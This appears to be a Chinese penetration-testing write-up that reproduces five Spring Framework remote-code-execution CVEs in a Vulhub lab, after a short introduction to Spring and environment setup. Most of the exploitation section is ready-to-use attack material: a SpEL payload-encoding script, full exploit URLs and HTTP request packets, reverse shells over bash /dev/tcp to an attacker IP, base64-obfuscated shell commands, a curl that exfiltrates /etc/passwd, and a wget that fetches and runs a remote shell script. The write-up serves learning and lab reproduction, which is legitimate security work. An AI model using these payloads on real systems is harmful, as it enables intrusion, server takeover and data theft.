本篇文章是Spring渗透复现记录,记录了实际中常见的Spring漏洞并如何利用,及简单对漏洞底层的原理分析,分为四个部分:Spring简介、IDEA部署Spring、Vulhub靶场环境搭建和相关漏洞复现,在学习Spring中阅读了十几篇中英文相关文章,由浅入深地学习并最终成功复现了5个漏洞,参考的文章也在文中列出。此外,文中也可能会出现部分错误,望读者指出,谢谢。接着,开始我们的Spring渗透之路学习!!
一、Spring简介
1、Spring及其全家桶简介
Spring框架是一个开放源代码的J2EE应用程序框架,是针对bean的生命周期进行管理的轻量级容器(lightweight container)。Spring可以单独应用于构筑应用程序,也可以和Struts、Webwork、Tapestry等众多Web框架组合使用,并且可以与 Swing等桌面应用程序AP组合。
Spring框架主要由七部分组成,分别是 Spring Core、 Spring AOP、 Spring ORM、 Spring DAO、Spring Context、 Spring Web和 Spring Web MVC
Spring全家桶包括5个关键部分,Spring framework、 Spring MVC、Spring Boot、 Spring Cloud、Spring Security。其中Spring就是Spring Framework的缩写,Spring MVC是Spring中的一个MVC框架,用于开发Web应用和网络接口。Spring Boot内置Tomcat并且内置默认的XML配置信息,更加便捷。Spring Cloud基于Spring Boot,简化了分布式系统的开发。Spring Security用于做鉴权,保证安全性。
2、Spring组件简介
Spring Web Flow是Spring MVC的扩展,它支持开发基于流程的应用程序,可以将流程的定义和实现流程行为的类和视图分离开来。
Spring Data是一个用于简化数据库访问,并支持云服务的开源框架,其主要目标是使数据库的访问变得方便快捷。Spring Data Commons是Spring Data下所有子项目共享的基础框架,Spring Data家族中的所有实现都是基于Spring Data Commons。简单点说,Spring Data REST把我们需要编写的大量REST模版接口做了自动化实现,并符合HAL的规范。
Spring Websocket,Spring内置简单消息代理。这个代理处理来自客户端的订阅请求,将它们存储在内存中,并将消息广播到具有匹配目标的连接客户端。
3、SpEL介绍
简单理解:表达式语言,执行命令、运算
SpEL(Spring Expression Language)是一个基于Spring的表达式语言,用于在运行时动态执行一些运算或指令。一共分为三类,分别是直接在注解中使用,在XML文件中使用和直接在代码块中使用。
SpEL原理
表达式:指传入的字符串内容 解析器:用于将字符串内容解析为表达式内容 上下文:表达式对象执行的环境 根对象和活动上下文对象:根对象是默认的活动上下文对象,活动上下文对象表示了当前表达式操作的对象
具体的流程如下:
1.首先给定表达式1 2
2.然后给定SpelExpressionParser
解析器,该解析器就实现了上图中的分析
3.定义上下文对象,这个是可选的,默认是StandardEvaluationContext
4.使用表达式对象求值,例如getValue
参考:http://rui0.cn/archives/1043
4、Spring漏洞简介
2009年9月Spring 3.0 RC1
发布后,Spring
就引入了SpEL(Spring Expression Language)
。对于开发者而言,引入新的工具显然是令人兴奋的,但是对于运维人员,也许是噩耗的开始。类比Struts2
框架,会发现绝大部分的安全漏洞都和OGNL
脱不了干系。
5、Spring框架特征
1.看Web应用程序的图标
2.看Web的报错页面
3.使用插件wappalyzer
4.看响应头参数X-Application-Context
二、本地环境安装
1、IDEA下载
下载地址:https://www.jetbrains.com/idea/download/#section=windows
选择Community
社区版即可(白嫖三十天,再重新下)
2、IDEA安装
1)双击安装程序
默认下一步
2)一些选项
如图勾上,默认一直下一步
3)打开x64版本的IDEA
,选择免费30天
选择continue
3、IDEA使用及Spring部署
1)创建工程
2)选择下载JDK
选择1.8
版本
3)Spring Initializr
配置
见图,然后next
4)部署Web模式
5)等待安装 这部分有点小久
6)点击启动 点击右上角启动
7)部署成功
访问地址:localhost:8080
4、漏洞环境搭建
这里使用vulhub
靶场进行Spring渗透学习
0x01 Docker环境安装
参考:vulhub漏洞环境搭建
1、安装Docker
代码语言:javascript复制sudo apt install curlcurl -s https://get.docker.com/ | sh
2、安装python和pip
代码语言:javascript复制sudo apt install pythoncurl https://bootstrap.pypa.io/pip/2.7/get-pip.py --output get-pip.pysudo python get-pip.py
3、安装docker-compose
pip install docker-composesudo apt install docker-composedocker-compose -v
0x02 vulhub靶场安装
代码语言:javascript复制git clone https://github.com/vulhub/vulhub.gitcd vulhub/httpd/CVE-2017-15715/sudo docker-compose build # 构建sudo docker-compose up -d # 命令启动容器docker ps # 查看正在运行的容器sudo docker exec -it b5975a1a5bfe /bin/bash # 进入docker容器内
本机IP为192.168.112.141 参考:Docker容器进入的4种方式
三、漏洞复现
以复现操作为主,底层原理解析见后续的文章
1、Spring Security OAuth2 远程命令执行漏洞(CVE-2016-4977)
0x01 漏洞概述
Spring Security OAuth2
是为Spring
框架提供安全认证支持的一个模块。当用户使用Whitelabel views
来处理错误时,攻击者可以在被授权的情况下通过构造恶意SpEL
表达式来远程执行命令。故是在需要知道账号密码的前提下才可以利用该漏洞。
影响版本:
代码语言:javascript复制Spring Security OAuth 2.0 – 2.0.9Spring Security OAuth 1.0 – 1.0.5
0x02 漏洞指纹
访问下面的URL
http://192.168.112.141:8080/oauth/authorize?response_type=${233*233}&client_id=acme&scope=openid&redirect_uri=http://test
出现下面的返回页面,表示漏洞存在
0x03 漏洞利用
1)访问搭建好的靶机
2)写好POC
这部分用于处理代码
代码语言:javascript复制#!/usr/bin/env pythonmessage = input('Enter message to encode:')poc = '${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord(message[0])for ch in message[1:]:poc = '.concat(T(java.lang.Character).toString(%s))' % ord(ch)poc = ')}'print(poc)
使用方法:
代码语言:javascript复制python3 poc1.py
#输入要执行的代码,会返回处理后的代码
这里输入whoami
将该代码加入进response_type
参数部分,得到payload
http://192.168.112.141:8080/oauth/authorize?response_type=${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(119).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(109)).concat(T(java.lang.Character).toString(105)))}&client_id=acme&scope=openid&redirect_uri=http://test
3)执行payload
返回了进程,表示代码执行了,但这没有回显,是无回显RCE
4)无回显XXE结合nc得到回显内容
测试下:
代码语言:javascript复制Kali Linux:nc -vlp 7766
靶机上:curl 192.168.112.149:7766 -d "$(cat /etc/passwd)"
5)payload二次变形
网址:http://www.jackson-t.ca/runtime-exec-payloads.html
将下面的代码绕过exec()
变形
bash -i >& /dev/tcp/192.168.112.149/7766 0>&1
得到
代码语言:javascript复制bash -c {echo,YmFzaCAtaSA JiAvZGV2L3RjcC8xOTIuMTY4LjExMi4xNDkvNzc2NiAwPiYx}|{base64,-d}|{bash,-i}
再放入上面的POC中,得到
代码语言:javascript复制${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(98).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(109)).concat(T(java.lang.Character).toString(70)).concat(T(java.lang.Character).toString(122)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(83)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(43)).concat(T(java.lang.Character).toString(74)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(118)).concat(T(java.lang.Character).toString(90)).concat(T(java.lang.Character).toString(71)).concat(T(java.lang.Character).toString(86)).concat(T(java.lang.Character).toString(50)).concat(T(java.lang.Character).toString(76)).concat(T(java.lang.Character).toString(51)).concat(T(java.lang.Character).toString(82)).concat(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(56)).concat(T(java.lang.Character).toString(120)).concat(T(java.lang.Character).toString(79)).concat(T(java.lang.Character).toString(84)).concat(T(java.lang.Character).toString(73)).concat(T(java.lang.Character).toString(117)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(84)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(76)).concat(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString(69)).concat(T(java.lang.Character).toString(120)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(120)).concat(T(java.lang.Character).toString(78)).concat(T(java.lang.Character).toString(68)).concat(T(java.lang.Character).toString(107)).concat(T(java.lang.Character).toString(118)).concat(T(java.lang.Character).toString(78)).concat(T(java.lang.Character).toString(122)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(50)).concat(T(java.lang.Character).toString(78)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(80)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(120)).concat(T(java.lang.Character).toString(125)).concat(T(java.lang.Character).toString(124)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(98)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(54)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(100)).concat(T(java.lang.Character).toString(125)).concat(T(java.lang.Character).toString(124)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(98)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(125)))}
修改后的URL
http://192.168.112.141:8080/oauth/authorize?response_type=${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(98).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(109)).concat(T(java.lang.Character).toString(70)).concat(T(java.lang.Character).toString(122)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(83)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(43)).concat(T(java.lang.Character).toString(74)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(118)).concat(T(java.lang.Character).toString(90)).concat(T(java.lang.Character).toString(71)).concat(T(java.lang.Character).toString(86)).concat(T(java.lang.Character).toString(50)).concat(T(java.lang.Character).toString(76)).concat(T(java.lang.Character).toString(51)).concat(T(java.lang.Character).toString(82)).concat(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(56)).concat(T(java.lang.Character).toString(120)).concat(T(java.lang.Character).toString(79)).concat(T(java.lang.Character).toString(84)).concat(T(java.lang.Character).toString(73)).concat(T(java.lang.Character).toString(117)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(84)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(76)).concat(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString(69)).concat(T(java.lang.Character).toString(120)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(120)).concat(T(java.lang.Character).toString(78)).concat(T(java.lang.Character).toString(68)).concat(T(java.lang.Character).toString(107)).concat(T(java.lang.Character).toString(118)).concat(T(java.lang.Character).toString(78)).concat(T(java.lang.Character).toString(122)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(50)).concat(T(java.lang.Character).toString(78)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(80)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(120)).concat(T(java.lang.Character).toString(125)).concat(T(java.lang.Character).toString(124)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(98)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(54)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(100)).concat(T(java.lang.Character).toString(125)).concat(T(java.lang.Character).toString(124)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(98)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(125)))}&client_id=acme&scope=openid&redirect_uri=http://test
开启监听,访问上述网址,成功得到shell
2、Spring Web Flow 远程代码执行漏洞(CVE-2017-4971)
0x01 漏洞概述
Spring Web Flow是一个适用于开发基于流程的应用程序的框架,主要用于解决跨越多个请求的、用户与服务器之间的、有状态交互问题。
当用户使用Spring Web Flow受影响的版本时,如果配置了view-state,但是没有配置相应的binder,并且没有更改useSpringBeanBinding默认的false值,当攻击者构造特殊的http请求时,就可以导致SpEL表达式注入,从而造成远程代码执行漏洞。
影响版本:
代码语言:javascript复制Spring Web Flow 2.4.0 ~ 2.4.4
触发条件:
1. MvcViewFactoryCreator对象的useSpringBeanBinding参数需要设置为false(默认值)
2. flow view对象中设置BinderConfiguration对象为空
0x02 漏洞指纹
0x03 漏洞利用
1)进入到付款界面,抓包
2)修改包数据,发送
代码语言:javascript复制&_(new java.lang.ProcessBuilder("bash","-c","bash -i >& /dev/tcp/192.168.112.149/7575 0>&1")).start()=vulhub
0x04 漏洞分析
代码语言:javascript复制https://paper.seebug.org/322
3、Spring Data Rest 远程命令执行漏洞(CVE-2017-8046)
0x01 漏洞概述
Spring Data Rest服务器在处理PATCH请求时存在一个远程代码执行漏洞。攻击者通过构造好的JSON数据来执行任意Java代码。
影响版本:
代码语言:javascript复制Spring Data REST versions < 2.5.12, 2.6.7, 3.0 RC3
Spring Boot version < 2.0.0M4
Spring Data release trains < Kay-RC3
0x02 漏洞指纹
访问,有如下回显信息则代表有该漏洞
代码语言:javascript复制http://192.168.112.141:8080/customers/1
0x03 漏洞利用
对http://192.168.112.141:8080/customers/1进行抓包,修改数据,执行的代码被编码为十进制位于new java.lang.String(new byte[]{xxxxxx})中
十进制编码脚本:
代码语言:javascript复制python3
>>> ",".join(map(str, (map(ord,"xxxxxx"))))
反弹shell命令:
代码语言:javascript复制bash -i >& /dev/tcp/192.168.112.149/7733 0>&1
绕过exec()编码
bash -c {echo,YmFzaCAtaSA JiAvZGV2L3RjcC8xOTIuMTY4LjExMi4xNDkvNzczMyAwPiYx}|{base64,-d}|{bash,-i}
转为十进制,编码后得到:
代码语言:javascript复制>>> ",".join(map(str, (map(ord,"bash -c {echo,YmFzaCAtaSA JiAvZGV2L3RjcC8xOTIuMTY4LjExMi4xNDkvNzczMyAwPiYx}|{base64,-d}|{bash,-i}"))))
98,97,115,104,32,45,99,32,123,101,99,104,111,44,89,109,70,122,97,67,65,116,97,83,65,43,74,105,65,118,90,71,86,50,76,51,82,106,99,67,56,120,79,84,73,117,77,84,89,52,76,106,69,120,77,105,52,120,78,68,107,118,78,122,99,122,77,121,65,119,80,105,89,120,125,124,123,98,97,115,101,54,52,44,45,100,125,124,123,98,97,115,104,44,45,105,125
最后构成数据包:
代码语言:javascript复制PATCH /customers/1 HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json-patch json
Content-Length: 202
[
{ "op": "replace",
"path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{98,97,115,104,32,45,99,32,123,101,99,104,111,44,89,109,70,122,97,67,65,116,97,83,65,43,74,105,65,118,90,71,86,50,76,51,82,106,99,67,56,120,79,84,73,117,77,84,89,52,76,106,69,120,77,105,52,120,78,68,107,118,78,122,99,122,77,121,65,119,80,105,89,120,125,124,123,98,97,115,101,54,52,44,45,100,125,124,123,98,97,115,104,44,45,105,125}))/lastname",
"value": "vulhub"
}
]
注意点:JSON数据部分上面留一行空格
0x04 漏洞分析
代码语言:javascript复制https://blog.spoock.com/2018/05/22/cve-2017-8046/
4、Spring Messaging 远程命令执行漏洞(CVE-2018-1270)
0x01 漏洞概述
Spring Messaging为Spring框架提供消息支持
用户使用受影响版本的Spring Framework时,允许应用程序通过Spring Messaging模块内存中STOMP代理创建WebSocket。由于selector用SpEL表达式编写,并使用StandardEvaluationContext解析(权限太大),进而导致远程执行代码攻击。
影响版本:
代码语言:javascript复制Spring Framework 5.0 - 5.0.5
Spring Framework 4.3 - 4.3.15
0x02 漏洞指纹
0x03 漏洞利用
1)访问该网址[http://192.168.112.141:8080/gs-guide-websocket](http://192.168.112.141:8080/gs-guide-websocket)
2)修改payload
,反弹shell
bash -i >& /dev/tcp/192.168.112.149/7733 0>&1
java.lang.Runtime.exec()编码后:
bash -c {echo,YmFzaCAtaSA JiAvZGV2L3RjcC8xOTIuMTY4LjExMi4xNDkvNzczMyAwPiYx}|{base64,-d}|{bash,-i}
执行命令
代码语言:javascript复制python3 exploit.py
0x04 漏洞原理
代码语言:javascript复制https://paper.seebug.org/562/
5、Spring Data Commons 远程命令执行漏洞(CVE-2018-1273)
0x01 漏洞概述
Spring Data
是一个用于简化数据库访问,并支持云服务的开源框架,包含Commons、Gemfire、JPA、JDBC、MongoDB
等模块。此漏洞产生于Spring Data Commons
组件,该组件为提供共享的基础框架,适合各个子项目使用,支持跨数据库持久化。
Spring Data Commons
组件中存在远程代码执行漏洞,攻击者可构造包含有恶意代码的SPEL
表达式实现远程代码攻击,直接获取服务器控制权限。
影响版本:
代码语言:javascript复制Spring Data Commons 1.13 - 1.13.10 (Ingalls SR10)
Spring Data REST 2.6 - 2.6.10 (Ingalls SR10)
Spring Data Commons 2.0 to 2.0.5 (Kay SR5)
Spring Data REST 3.0 - 3.0.5 (Kay SR5)
0x02 漏洞指纹
0x03 漏洞利用
1)访问http://192.168.112.141:8080/users,抓包
2)修改包数据,尝试获取权限
代码语言:javascript复制POST /users?page=&size=5 HTTP/1.1
Host: localhost:8080
Connection: keep-alive
Content-Length: 124
Pragma: no-cache
Cache-Control: no-cache
Origin: http://localhost:8080
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36
Accept: text/html,application/xhtml xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://localhost:8080/users?page=0&size=5
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("/bin/bash -i >& /dev/tcp/192.168.112.149/8800 0>&1")]=&password=&repeatedPassword=
但是这里一直显示200【未解决】
采用另一种getshell
方法
思路:在公网服务器上写好反弹shell
命令,传过去,本地执行即可
shell.sh
文件:
bash -i >& /dev/tcp/192.168.112.149/8802 0>&1
3)靶机接收该文件 将对应代码放到前面的数据包中,如下图
代码语言:javascript复制/usr/bin/wget -qO /tmp/1 http://192.168.112.149/shell.sh
-q:不显示指令执行过程 -O:下载并以指定的名字保存
4)靶机执行该文件
代码语言:javascript复制[](https://imgtu.com/i/gORBPU)
[](https://imgtu.com/i/gORr24)
[](https://imgtu.com/i/gORDGF)
[![gORw5T.png](https://image.3001.net/images/20210525/1621946086_60aceee6c5a0287bdbfd8.png!small)](https://imgtu.com/i/gORw5T)
将对应代码放到前面的数据包中,如下图,成功getshell
/bin/bash /tmp/1
0x04 漏洞原理
代码语言:javascript复制http://blog.nsfocus.net/cve-2018-1273-analysis/